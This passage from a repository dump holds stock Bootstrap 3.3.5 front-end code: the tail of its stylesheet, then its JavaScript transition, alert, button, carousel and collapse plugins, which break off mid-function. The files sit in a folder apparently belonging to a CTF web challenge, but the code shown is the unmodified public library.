56.25%; } .embed-responsive-4by3 { padding-bottom: 75%; } .well { min-height: 20px; padding: 19px; margin-bottom: 20px; background-color: #f5f5f5; border: 1px solid #e3e3e3; border-radius: 4px; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05); box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05); } .well blockquote { border-color: #ddd; border-color: rgba(0, 0, 0, .15); } .well-lg { padding: 24px; border-radius: 6px; } .well-sm { padding: 9px; border-radius: 3px; } .close { float: right; font-size: 21px; font-weight: bold; line-height: 1; color: #000; text-shadow: 0 1px 0 #fff; filter: alpha(opacity=20); opacity: .2; } .close:hover, .close:focus { color: #000; text-decoration: none; cursor: pointer; filter: alpha(opacity=50); opacity: .5; } button.close { -webkit-appearance: none; padding: 0; cursor: pointer; background: transparent; border: 0; } .modal-open { overflow: hidden; } .modal { position: fixed; top: 0; right: 0; bottom: 0; left: 0; z-index: 1050; display: none; overflow: hidden; -webkit-overflow-scrolling: touch; outline: 0; } .modal.fade .modal-dialog { -webkit-transition: -webkit-transform .3s ease-out; -o-transition: -o-transform .3s ease-out; transition: transform .3s ease-out; -webkit-transform: translate(0, -25%); -ms-transform: translate(0, -25%); -o-transform: translate(0, -25%); transform: translate(0, -25%); } .modal.in .modal-dialog { -webkit-transform: translate(0, 0); -ms-transform: translate(0, 0); -o-transform: translate(0, 0); transform: translate(0, 0); } .modal-open .modal { overflow-x: hidden; overflow-y: auto; } .modal-dialog { position: relative; width: auto; margin: 10px; } .modal-content { position: relative; background-color: #fff; -webkit-background-clip: padding-box; background-clip: padding-box; border: 1px solid #999; border: 1px solid rgba(0, 0, 0, .2); border-radius: 6px; outline: 0; -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, .5); box-shadow: 0 3px 9px rgba(0, 0, 0, .5); } .modal-backdrop { position: fixed; top: 0; right: 0; bottom: 0; left: 0; z-index: 1040; background-color: #000; } .modal-backdrop.fade { filter: alpha(opacity=0); opacity: 0; } .modal-backdrop.in { filter: alpha(opacity=50); opacity: .5; } .modal-header { min-height: 16.42857143px; padding: 15px; border-bottom: 1px solid #e5e5e5; } .modal-header .close { margin-top: -2px; } .modal-title { margin: 0; line-height: 1.42857143; } .modal-body { position: relative; padding: 15px; } .modal-footer { padding: 15px; text-align: right; border-top: 1px solid #e5e5e5; } .modal-footer .btn + .btn { margin-bottom: 0; margin-left: 5px; } .modal-footer .btn-group .btn + .btn { margin-left: -1px; } .modal-footer .btn-block + .btn-block { margin-left: 0; } .modal-scrollbar-measure { position: absolute; top: -9999px; width: 50px; height: 50px; overflow: scroll; } @media (min-width: 768px) { .modal-dialog { width: 600px; margin: 30px auto; } .modal-content { -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, .5); box-shadow: 0 5px 15px rgba(0, 0, 0, .5); } .modal-sm { width: 300px; } } @media (min-width: 992px) { .modal-lg { width: 900px; } } .tooltip { position: absolute; z-index: 1070; display: block; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 12px; font-style: normal; font-weight: normal; line-height: 1.42857143; text-align: left; text-align: start; text-decoration: none; text-shadow: none; text-transform: none; letter-spacing: normal; word-break: normal; word-spacing: normal; word-wrap: normal; white-space: normal; filter: alpha(opacity=0); opacity: 0; line-break: auto; } .tooltip.in { filter: alpha(opacity=90); opacity: .9; } .tooltip.top { padding: 5px 0; margin-top: -3px; } .tooltip.right { padding: 0 5px; margin-left: 3px; } .tooltip.bottom { padding: 5px 0; margin-top: 3px; } .tooltip.left { padding: 0 5px; margin-left: -3px; } .tooltip-inner { max-width: 200px; padding: 3px 8px; color: #fff; text-align: center; background-color: #000; border-radius: 4px; } .tooltip-arrow { position: absolute; width: 0; height: 0; border-color: transparent; border-style: solid; } .tooltip.top .tooltip-arrow { bottom: 0; left: 50%; margin-left: -5px; border-width: 5px 5px 0; border-top-color: #000; } .tooltip.top-left .tooltip-arrow { right: 5px; bottom: 0; margin-bottom: -5px; border-width: 5px 5px 0; border-top-color: #000; } .tooltip.top-right .tooltip-arrow { bottom: 0; left: 5px; margin-bottom: -5px; border-width: 5px 5px 0; border-top-color: #000; } .tooltip.right .tooltip-arrow { top: 50%; left: 0; margin-top: -5px; border-width: 5px 5px 5px 0; border-right-color: #000; } .tooltip.left .tooltip-arrow { top: 50%; right: 0; margin-top: -5px; border-width: 5px 0 5px 5px; border-left-color: #000; } .tooltip.bottom .tooltip-arrow { top: 0; left: 50%; margin-left: -5px; border-width: 0 5px 5px; border-bottom-color: #000; } .tooltip.bottom-left .tooltip-arrow { top: 0; right: 5px; margin-top: -5px; border-width: 0 5px 5px; border-bottom-color: #000; } .tooltip.bottom-right .tooltip-arrow { top: 0; left: 5px; margin-top: -5px; border-width: 0 5px 5px; border-bottom-color: #000; } .popover { position: absolute; top: 0; left: 0; z-index: 1060; display: none; max-width: 276px; padding: 1px; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; font-weight: normal; line-height: 1.42857143; text-align: left; text-align: start; text-decoration: none; text-shadow: none; text-transform: none; letter-spacing: normal; word-break: normal; word-spacing: normal; word-wrap: normal; white-space: normal; background-color: #fff; -webkit-background-clip: padding-box; background-clip: padding-box; border: 1px solid #ccc; border: 1px solid rgba(0, 0, 0, .2); border-radius: 6px; -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, .2); box-shadow: 0 5px 10px rgba(0, 0, 0, .2); line-break: auto; } .popover.top { margin-top: -10px; } .popover.right { margin-left: 10px; } .popover.bottom { margin-top: 10px; } .popover.left { margin-left: -10px; } .popover-title { padding: 8px 14px; margin: 0; font-size: 14px; background-color: #f7f7f7; border-bottom: 1px solid #ebebeb; border-radius: 5px 5px 0 0; } .popover-content { padding: 9px 14px; } .popover > .arrow, .popover > .arrow:after { position: absolute; display: block; width: 0; height: 0; border-color: transparent; border-style: solid; } .popover > .arrow { border-width: 11px; } .popover > .arrow:after { content: ""; border-width: 10px; } .popover.top > .arrow { bottom: -11px; left: 50%; margin-left: -11px; border-top-color: #999; border-top-color: rgba(0, 0, 0, .25); border-bottom-width: 0; } .popover.top > .arrow:after { bottom: 1px; margin-left: -10px; content: " "; border-top-color: #fff; border-bottom-width: 0; } .popover.right > .arrow { top: 50%; left: -11px; margin-top: -11px; border-right-color: #999; border-right-color: rgba(0, 0, 0, .25); border-left-width: 0; } .popover.right > .arrow:after { bottom: -10px; left: 1px; content: " "; border-right-color: #fff; border-left-width: 0; } .popover.bottom > .arrow { top: -11px; left: 50%; margin-left: -11px; border-top-width: 0; border-bottom-color: #999; border-bottom-color: rgba(0, 0, 0, .25); } .popover.bottom > .arrow:after { top: 1px; margin-left: -10px; content: " "; border-top-width: 0; border-bottom-color: #fff; } .popover.left > .arrow { top: 50%; right: -11px; margin-top: -11px; border-right-width: 0; border-left-color: #999; border-left-color: rgba(0, 0, 0, .25); } .popover.left > .arrow:after { right: 1px; bottom: -10px; content: " "; border-right-width: 0; border-left-color: #fff; } .carousel { position: relative; } .carousel-inner { position: relative; width: 100%; overflow: hidden; } .carousel-inner > .item { position: relative; display: none; -webkit-transition: .6s ease-in-out left; -o-transition: .6s ease-in-out left; transition: .6s ease-in-out left; } .carousel-inner > .item > img, .carousel-inner > .item > a > img { line-height: 1; } @media all and (transform-3d), (-webkit-transform-3d) { .carousel-inner > .item { -webkit-transition: -webkit-transform .6s ease-in-out; -o-transition: -o-transform .6s ease-in-out; transition: transform .6s ease-in-out; -webkit-backface-visibility: hidden; backface-visibility: hidden; -webkit-perspective: 1000px; perspective: 1000px; } .carousel-inner > .item.next, .carousel-inner > .item.active.right { left: 0; -webkit-transform: translate3d(100%, 0, 0); transform: translate3d(100%, 0, 0); } .carousel-inner > .item.prev, .carousel-inner > .item.active.left { left: 0; -webkit-transform: translate3d(-100%, 0, 0); transform: translate3d(-100%, 0, 0); } .carousel-inner > .item.next.left, .carousel-inner > .item.prev.right, .carousel-inner > .item.active { left: 0; -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } } .carousel-inner > .active, .carousel-inner > .next, .carousel-inner > .prev { display: block; } .carousel-inner > .active { left: 0; } .carousel-inner > .next, .carousel-inner > .prev { position: absolute; top: 0; width: 100%; } .carousel-inner > .next { left: 100%; } .carousel-inner > .prev { left: -100%; } .carousel-inner > .next.left, .carousel-inner > .prev.right { left: 0; } .carousel-inner > .active.left { left: -100%; } .carousel-inner > .active.right { left: 100%; } .carousel-control { position: absolute; top: 0; bottom: 0; left: 0; width: 15%; font-size: 20px; color: #fff; text-align: center; text-shadow: 0 1px 2px rgba(0, 0, 0, .6); filter: alpha(opacity=50); opacity: .5; } .carousel-control.left { background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%); background-image: -o-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%); background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, .5)), to(rgba(0, 0, 0, .0001))); background-image: linear-gradient(to right, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1); background-repeat: repeat-x; } .carousel-control.right { right: 0; left: auto; background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%); background-image: -o-linear-gradient(left, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%); background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, .0001)), to(rgba(0, 0, 0, .5))); background-image: linear-gradient(to right, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1); background-repeat: repeat-x; } .carousel-control:hover, .carousel-control:focus { color: #fff; text-decoration: none; filter: alpha(opacity=90); outline: 0; opacity: .9; } .carousel-control .icon-prev, .carousel-control .icon-next, .carousel-control .glyphicon-chevron-left, .carousel-control .glyphicon-chevron-right { position: absolute; top: 50%; z-index: 5; display: inline-block; margin-top: -10px; } .carousel-control .icon-prev, .carousel-control .glyphicon-chevron-left { left: 50%; margin-left: -10px; } .carousel-control .icon-next, .carousel-control .glyphicon-chevron-right { right: 50%; margin-right: -10px; } .carousel-control .icon-prev, .carousel-control .icon-next { width: 20px; height: 20px; font-family: serif; line-height: 1; } .carousel-control .icon-prev:before { content: '\2039'; } .carousel-control .icon-next:before { content: '\203a'; } .carousel-indicators { position: absolute; bottom: 10px; left: 50%; z-index: 15; width: 60%; padding-left: 0; margin-left: -30%; text-align: center; list-style: none; } .carousel-indicators li { display: inline-block; width: 10px; height: 10px; margin: 1px; text-indent: -999px; cursor: pointer; background-color: #000 \9; background-color: rgba(0, 0, 0, 0); border: 1px solid #fff; border-radius: 10px; } .carousel-indicators .active { width: 12px; height: 12px; margin: 0; background-color: #fff; } .carousel-caption { position: absolute; right: 15%; bottom: 20px; left: 15%; z-index: 10; padding-top: 20px; padding-bottom: 20px; color: #fff; text-align: center; text-shadow: 0 1px 2px rgba(0, 0, 0, .6); } .carousel-caption .btn { text-shadow: none; } @media screen and (min-width: 768px) { .carousel-control .glyphicon-chevron-left, .carousel-control .glyphicon-chevron-right, .carousel-control .icon-prev, .carousel-control .icon-next { width: 30px; height: 30px; margin-top: -15px; font-size: 30px; } .carousel-control .glyphicon-chevron-left, .carousel-control .icon-prev { margin-left: -15px; } .carousel-control .glyphicon-chevron-right, .carousel-control .icon-next { margin-right: -15px; } .carousel-caption { right: 20%; left: 20%; padding-bottom: 30px; } .carousel-indicators { bottom: 20px; } } .clearfix:before, .clearfix:after, .dl-horizontal dd:before, .dl-horizontal dd:after, .container:before, .container:after, .container-fluid:before, .container-fluid:after, .row:before, .row:after, .form-horizontal .form-group:before, .form-horizontal .form-group:after, .btn-toolbar:before, .btn-toolbar:after, .btn-group-vertical > .btn-group:before, .btn-group-vertical > .btn-group:after, .nav:before, .nav:after, .navbar:before, .navbar:after, .navbar-header:before, .navbar-header:after, .navbar-collapse:before, .navbar-collapse:after, .pager:before, .pager:after, .panel-body:before, .panel-body:after, .modal-footer:before, .modal-footer:after { display: table; content: " "; } .clearfix:after, .dl-horizontal dd:after, .container:after, .container-fluid:after, .row:after, .form-horizontal .form-group:after, .btn-toolbar:after, .btn-group-vertical > .btn-group:after, .nav:after, .navbar:after, .navbar-header:after, .navbar-collapse:after, .pager:after, .panel-body:after, .modal-footer:after { clear: both; } .center-block { display: block; margin-right: auto; margin-left: auto; } .pull-right { float: right !important; } .pull-left { float: left !important; } .hide { display: none !important; } .show { display: block !important; } .invisible { visibility: hidden; } .text-hide { font: 0/0 a; color: transparent; text-shadow: none; background-color: transparent; border: 0; } .hidden { display: none !important; } .affix { position: fixed; } @-ms-viewport { width: device-width; } .visible-xs, .visible-sm, .visible-md, .visible-lg { display: none !important; } .visible-xs-block, .visible-xs-inline, .visible-xs-inline-block, .visible-sm-block, .visible-sm-inline, .visible-sm-inline-block, .visible-md-block, .visible-md-inline, .visible-md-inline-block, .visible-lg-block, .visible-lg-inline, .visible-lg-inline-block { display: none !important; } @media (max-width: 767px) { .visible-xs { display: block !important; } table.visible-xs { display: table !important; } tr.visible-xs { display: table-row !important; } th.visible-xs, td.visible-xs { display: table-cell !important; } } @media (max-width: 767px) { .visible-xs-block { display: block !important; } } @media (max-width: 767px) { .visible-xs-inline { display: inline !important; } } @media (max-width: 767px) { .visible-xs-inline-block { display: inline-block !important; } } @media (min-width: 768px) and (max-width: 991px) { .visible-sm { display: block !important; } table.visible-sm { display: table !important; } tr.visible-sm { display: table-row !important; } th.visible-sm, td.visible-sm { display: table-cell !important; } } @media (min-width: 768px) and (max-width: 991px) { .visible-sm-block { display: block !important; } } @media (min-width: 768px) and (max-width: 991px) { .visible-sm-inline { display: inline !important; } } @media (min-width: 768px) and (max-width: 991px) { .visible-sm-inline-block { display: inline-block !important; } } @media (min-width: 992px) and (max-width: 1199px) { .visible-md { display: block !important; } table.visible-md { display: table !important; } tr.visible-md { display: table-row !important; } th.visible-md, td.visible-md { display: table-cell !important; } } @media (min-width: 992px) and (max-width: 1199px) { .visible-md-block { display: block !important; } } @media (min-width: 992px) and (max-width: 1199px) { .visible-md-inline { display: inline !important; } } @media (min-width: 992px) and (max-width: 1199px) { .visible-md-inline-block { display: inline-block !important; } } @media (min-width: 1200px) { .visible-lg { display: block !important; } table.visible-lg { display: table !important; } tr.visible-lg { display: table-row !important; } th.visible-lg, td.visible-lg { display: table-cell !important; } } @media (min-width: 1200px) { .visible-lg-block { display: block !important; } } @media (min-width: 1200px) { .visible-lg-inline { display: inline !important; } } @media (min-width: 1200px) { .visible-lg-inline-block { display: inline-block !important; } } @media (max-width: 767px) { .hidden-xs { display: none !important; } } @media (min-width: 768px) and (max-width: 991px) { .hidden-sm { display: none !important; } } @media (min-width: 992px) and (max-width: 1199px) { .hidden-md { display: none !important; } } @media (min-width: 1200px) { .hidden-lg { display: none !important; } } .visible-print { display: none !important; } @media print { .visible-print { display: block !important; } table.visible-print { display: table !important; } tr.visible-print { display: table-row !important; } th.visible-print, td.visible-print { display: table-cell !important; } } .visible-print-block { display: none !important; } @media print { .visible-print-block { display: block !important; } } .visible-print-inline { display: none !important; } @media print { .visible-print-inline { display: inline !important; } } .visible-print-inline-block { display: none !important; } @media print { .visible-print-inline-block { display: inline-block !important; } } @media print { .hidden-print { display: none !important; } } /*# sourceMappingURL=bootstrap.css.map */ ================================================ FILE: web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/bootstrap3.3.5/js/bootstrap.js ================================================ /*! * Bootstrap v3.3.5 (http://getbootstrap.com) * Copyright 2011-2015 Twitter, Inc. * Licensed under the MIT license */ if (typeof jQuery === 'undefined') { throw new Error('Bootstrap\'s JavaScript requires jQuery') } +function ($) { 'use strict'; var version = $.fn.jquery.split(' ')[0].split('.') if ((version[0] < 2 && version[1] < 9) || (version[0] == 1 && version[1] == 9 && version[2] < 1)) { throw new Error('Bootstrap\'s JavaScript requires jQuery version 1.9.1 or higher') } }(jQuery); /* ======================================================================== * Bootstrap: transition.js v3.3.5 * http://getbootstrap.com/javascript/#transitions * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // CSS TRANSITION SUPPORT (Shoutout: http://www.modernizr.com/) // ============================================================ function transitionEnd() { var el = document.createElement('bootstrap') var transEndEventNames = { WebkitTransition : 'webkitTransitionEnd', MozTransition : 'transitionend', OTransition : 'oTransitionEnd otransitionend', transition : 'transitionend' } for (var name in transEndEventNames) { if (el.style[name] !== undefined) { return { end: transEndEventNames[name] } } } return false // explicit for ie8 ( ._.) } // http://blog.alexmaccaw.com/css-transitions $.fn.emulateTransitionEnd = function (duration) { var called = false var $el = this $(this).one('bsTransitionEnd', function () { called = true }) var callback = function () { if (!called) $($el).trigger($.support.transition.end) } setTimeout(callback, duration) return this } $(function () { $.support.transition = transitionEnd() if (!$.support.transition) return $.event.special.bsTransitionEnd = { bindType: $.support.transition.end, delegateType: $.support.transition.end, handle: function (e) { if ($(e.target).is(this)) return e.handleObj.handler.apply(this, arguments) } } }) }(jQuery); /* ======================================================================== * Bootstrap: alert.js v3.3.5 * http://getbootstrap.com/javascript/#alerts * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // ALERT CLASS DEFINITION // ====================== var dismiss = '[data-dismiss="alert"]' var Alert = function (el) { $(el).on('click', dismiss, this.close) } Alert.VERSION = '3.3.5' Alert.TRANSITION_DURATION = 150 Alert.prototype.close = function (e) { var $this = $(this) var selector = $this.attr('data-target') if (!selector) { selector = $this.attr('href') selector = selector && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7 } var $parent = $(selector) if (e) e.preventDefault() if (!$parent.length) { $parent = $this.closest('.alert') } $parent.trigger(e = $.Event('close.bs.alert')) if (e.isDefaultPrevented()) return $parent.removeClass('in') function removeElement() { // detach from parent, fire event then clean up data $parent.detach().trigger('closed.bs.alert').remove() } $.support.transition && $parent.hasClass('fade') ? $parent .one('bsTransitionEnd', removeElement) .emulateTransitionEnd(Alert.TRANSITION_DURATION) : removeElement() } // ALERT PLUGIN DEFINITION // ======================= function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.alert') if (!data) $this.data('bs.alert', (data = new Alert(this))) if (typeof option == 'string') data[option].call($this) }) } var old = $.fn.alert $.fn.alert = Plugin $.fn.alert.Constructor = Alert // ALERT NO CONFLICT // ================= $.fn.alert.noConflict = function () { $.fn.alert = old return this } // ALERT DATA-API // ============== $(document).on('click.bs.alert.data-api', dismiss, Alert.prototype.close) }(jQuery); /* ======================================================================== * Bootstrap: button.js v3.3.5 * http://getbootstrap.com/javascript/#buttons * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // BUTTON PUBLIC CLASS DEFINITION // ============================== var Button = function (element, options) { this.$element = $(element) this.options = $.extend({}, Button.DEFAULTS, options) this.isLoading = false } Button.VERSION = '3.3.5' Button.DEFAULTS = { loadingText: 'loading...' } Button.prototype.setState = function (state) { var d = 'disabled' var $el = this.$element var val = $el.is('input') ? 'val' : 'html' var data = $el.data() state += 'Text' if (data.resetText == null) $el.data('resetText', $el[val]()) // push to event loop to allow forms to submit setTimeout($.proxy(function () { $el[val](data[state] == null ? this.options[state] : data[state]) if (state == 'loadingText') { this.isLoading = true $el.addClass(d).attr(d, d) } else if (this.isLoading) { this.isLoading = false $el.removeClass(d).removeAttr(d) } }, this), 0) } Button.prototype.toggle = function () { var changed = true var $parent = this.$element.closest('[data-toggle="buttons"]') if ($parent.length) { var $input = this.$element.find('input') if ($input.prop('type') == 'radio') { if ($input.prop('checked')) changed = false $parent.find('.active').removeClass('active') this.$element.addClass('active') } else if ($input.prop('type') == 'checkbox') { if (($input.prop('checked')) !== this.$element.hasClass('active')) changed = false this.$element.toggleClass('active') } $input.prop('checked', this.$element.hasClass('active')) if (changed) $input.trigger('change') } else { this.$element.attr('aria-pressed', !this.$element.hasClass('active')) this.$element.toggleClass('active') } } // BUTTON PLUGIN DEFINITION // ======================== function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.button') var options = typeof option == 'object' && option if (!data) $this.data('bs.button', (data = new Button(this, options))) if (option == 'toggle') data.toggle() else if (option) data.setState(option) }) } var old = $.fn.button $.fn.button = Plugin $.fn.button.Constructor = Button // BUTTON NO CONFLICT // ================== $.fn.button.noConflict = function () { $.fn.button = old return this } // BUTTON DATA-API // =============== $(document) .on('click.bs.button.data-api', '[data-toggle^="button"]', function (e) { var $btn = $(e.target) if (!$btn.hasClass('btn')) $btn = $btn.closest('.btn') Plugin.call($btn, 'toggle') if (!($(e.target).is('input[type="radio"]') || $(e.target).is('input[type="checkbox"]'))) e.preventDefault() }) .on('focus.bs.button.data-api blur.bs.button.data-api', '[data-toggle^="button"]', function (e) { $(e.target).closest('.btn').toggleClass('focus', /^focus(in)?$/.test(e.type)) }) }(jQuery); /* ======================================================================== * Bootstrap: carousel.js v3.3.5 * http://getbootstrap.com/javascript/#carousel * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // CAROUSEL CLASS DEFINITION // ========================= var Carousel = function (element, options) { this.$element = $(element) this.$indicators = this.$element.find('.carousel-indicators') this.options = options this.paused = null this.sliding = null this.interval = null this.$active = null this.$items = null this.options.keyboard && this.$element.on('keydown.bs.carousel', $.proxy(this.keydown, this)) this.options.pause == 'hover' && !('ontouchstart' in document.documentElement) && this.$element .on('mouseenter.bs.carousel', $.proxy(this.pause, this)) .on('mouseleave.bs.carousel', $.proxy(this.cycle, this)) } Carousel.VERSION = '3.3.5' Carousel.TRANSITION_DURATION = 600 Carousel.DEFAULTS = { interval: 5000, pause: 'hover', wrap: true, keyboard: true } Carousel.prototype.keydown = function (e) { if (/input|textarea/i.test(e.target.tagName)) return switch (e.which) { case 37: this.prev(); break case 39: this.next(); break default: return } e.preventDefault() } Carousel.prototype.cycle = function (e) { e || (this.paused = false) this.interval && clearInterval(this.interval) this.options.interval && !this.paused && (this.interval = setInterval($.proxy(this.next, this), this.options.interval)) return this } Carousel.prototype.getItemIndex = function (item) { this.$items = item.parent().children('.item') return this.$items.index(item || this.$active) } Carousel.prototype.getItemForDirection = function (direction, active) { var activeIndex = this.getItemIndex(active) var willWrap = (direction == 'prev' && activeIndex === 0) || (direction == 'next' && activeIndex == (this.$items.length - 1)) if (willWrap && !this.options.wrap) return active var delta = direction == 'prev' ? -1 : 1 var itemIndex = (activeIndex + delta) % this.$items.length return this.$items.eq(itemIndex) } Carousel.prototype.to = function (pos) { var that = this var activeIndex = this.getItemIndex(this.$active = this.$element.find('.item.active')) if (pos > (this.$items.length - 1) || pos < 0) return if (this.sliding) return this.$element.one('slid.bs.carousel', function () { that.to(pos) }) // yes, "slid" if (activeIndex == pos) return this.pause().cycle() return this.slide(pos > activeIndex ? 'next' : 'prev', this.$items.eq(pos)) } Carousel.prototype.pause = function (e) { e || (this.paused = true) if (this.$element.find('.next, .prev').length && $.support.transition) { this.$element.trigger($.support.transition.end) this.cycle(true) } this.interval = clearInterval(this.interval) return this } Carousel.prototype.next = function () { if (this.sliding) return return this.slide('next') } Carousel.prototype.prev = function () { if (this.sliding) return return this.slide('prev') } Carousel.prototype.slide = function (type, next) { var $active = this.$element.find('.item.active') var $next = next || this.getItemForDirection(type, $active) var isCycling = this.interval var direction = type == 'next' ? 'left' : 'right' var that = this if ($next.hasClass('active')) return (this.sliding = false) var relatedTarget = $next[0] var slideEvent = $.Event('slide.bs.carousel', { relatedTarget: relatedTarget, direction: direction }) this.$element.trigger(slideEvent) if (slideEvent.isDefaultPrevented()) return this.sliding = true isCycling && this.pause() if (this.$indicators.length) { this.$indicators.find('.active').removeClass('active') var $nextIndicator = $(this.$indicators.children()[this.getItemIndex($next)]) $nextIndicator && $nextIndicator.addClass('active') } var slidEvent = $.Event('slid.bs.carousel', { relatedTarget: relatedTarget, direction: direction }) // yes, "slid" if ($.support.transition && this.$element.hasClass('slide')) { $next.addClass(type) $next[0].offsetWidth // force reflow $active.addClass(direction) $next.addClass(direction) $active .one('bsTransitionEnd', function () { $next.removeClass([type, direction].join(' ')).addClass('active') $active.removeClass(['active', direction].join(' ')) that.sliding = false setTimeout(function () { that.$element.trigger(slidEvent) }, 0) }) .emulateTransitionEnd(Carousel.TRANSITION_DURATION) } else { $active.removeClass('active') $next.addClass('active') this.sliding = false this.$element.trigger(slidEvent) } isCycling && this.cycle() return this } // CAROUSEL PLUGIN DEFINITION // ========================== function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.carousel') var options = $.extend({}, Carousel.DEFAULTS, $this.data(), typeof option == 'object' && option) var action = typeof option == 'string' ? option : options.slide if (!data) $this.data('bs.carousel', (data = new Carousel(this, options))) if (typeof option == 'number') data.to(option) else if (action) data[action]() else if (options.interval) data.pause().cycle() }) } var old = $.fn.carousel $.fn.carousel = Plugin $.fn.carousel.Constructor = Carousel // CAROUSEL NO CONFLICT // ==================== $.fn.carousel.noConflict = function () { $.fn.carousel = old return this } // CAROUSEL DATA-API // ================= var clickHandler = function (e) { var href var $this = $(this) var $target = $($this.attr('data-target') || (href = $this.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '')) // strip for ie7 if (!$target.hasClass('carousel')) return var options = $.extend({}, $target.data(), $this.data()) var slideIndex = $this.attr('data-slide-to') if (slideIndex) options.interval = false Plugin.call($target, options) if (slideIndex) { $target.data('bs.carousel').to(slideIndex) } e.preventDefault() } $(document) .on('click.bs.carousel.data-api', '[data-slide]', clickHandler) .on('click.bs.carousel.data-api', '[data-slide-to]', clickHandler) $(window).on('load', function () { $('[data-ride="carousel"]').each(function () { var $carousel = $(this) Plugin.call($carousel, $carousel.data()) }) }) }(jQuery); /* ======================================================================== * Bootstrap: collapse.js v3.3.5 * http://getbootstrap.com/javascript/#collapse * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // COLLAPSE PUBLIC CLASS DEFINITION // ================================ var Collapse = function (element, options) { this.$element = $(element) this.options = $.extend({}, Collapse.DEFAULTS, options) this.$trigger = $('[data-toggle="collapse"][href="#' + element.id + '"],' + '[data-toggle="collapse"][data-target="#' + element.id + '"]') this.transitioning = null if (this.options.parent) { this.$parent = this.getParent() } else { this.addAriaAndCollapsedClass(this.$element, this.$trigger) } if (this.options.toggle) this.toggle() } Collapse.VERSION = '3.3.5' Collapse.TRANSITION_DURATION = 350 Collapse.DEFAULTS = { toggle: true } Collapse.prototype.dimension = function () { var hasWidth = this.$element.hasClass('width') return hasWidth ? 'width' : 'height' } Collapse.prototype.show = function () { if (this.transitioning || this.$element.hasClass('in')) return var activesData var actives = this.$parent && this.$parent.children('.panel').children('.in, .collapsing') if (actives && actives.length) { activesData = actives.data('bs.collapse') if (activesData && activesData.transitioning) return } var startEvent = $.Event('show.bs.collapse') this.$element.trigger(startEvent) if (startEvent.isDefaultPrevented()) return if (actives && actives.length) { Plugin.call(actives, 'hide') activesData || actives.data('bs.collapse', null) } var dimension = this.dimension() this.$element .removeClass('collapse') .addClass('collapsing')[dimension](0) .attr('aria-expanded', true) this.$trigger .removeClass('collapsed') .attr('aria-expanded', true) this.transitioning = 1 var complete = function () { this.$element .removeClass('collapsing') .addClass('collapse in')[dimension]('') this.transitioning = 0 this.$element .trigger('shown.bs.collapse') } if (!$.support.transition) return complete.call(this) var scrollSize = $.camelCase(['scroll', dimension].join('-')) this.$element .one('bsTransitionEnd', $.proxy(complete, this)) .emulateTransitionEnd(Collapse.TRANSITION_DURATION)[dimension](this.$element[0][scrollSize]) } Collapse.prototype.hide = function () { if (this.transitioning || !this.$element.hasClass('in')) return var startEvent = $.Event('hide.bs.collapse') this.$element.trigger(startEvent) if (startEvent.isDefaultPrevented()) return var dimension = this.dimension() this.$element[dimension](this.$element[dimension]())[0].offsetHeight this.$element .addClass('collapsing') .removeClass('collapse in') .attr('aria-expanded', false) this.$trigger .addClass('collapsed') .attr('aria-expanded', false) this.transitioning = 1 var complete = function () { this.transitioning = 0 this.$element .removeClass('collapsing') .addClass('collapse') .trigger('hidden.bs.collapse') } if (!$.support.transition) return complete.call(this) this.$element [dimension](0) .one('bsTransitionEnd', $.proxy(complete, this)) .emulateTransitionEnd(Collapse.TRANSITION_DURATION) } Collapse.prototype.toggle = function () { this[this.$element.hasClass('in') ? 'hide' : 'show']() } Collapse.prototype.getParent = function () { return $(this.options.parent) .find('[data-toggle="collapse"][data-parent="' + this.options.parent + '"]') .each($.proxy(function (i, element) { var $element = $(element) this.addAriaAndCollapsedClass(getTargetFromTrigger($element), $element) }, this)) .end() } Collapse.prototype.addAriaAndCollapsedClass = function ($element, $trigger) { var isOpen = $element.hasClass('in') $element.attr('aria-expanded', isOpen) $trigger .toggleClass('collapsed', !isOpen) .attr('aria-expanded', isOpen) } function getTargetFromTrigger($trigger) { var href var target = $trigger.attr('data-target') || (href = $trigger.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '') // strip for ie7 return $(target) } // COLLAPSE PLUGIN DEFINITION // ========================== function Plugin(option) { return this.each(function () { var $this = 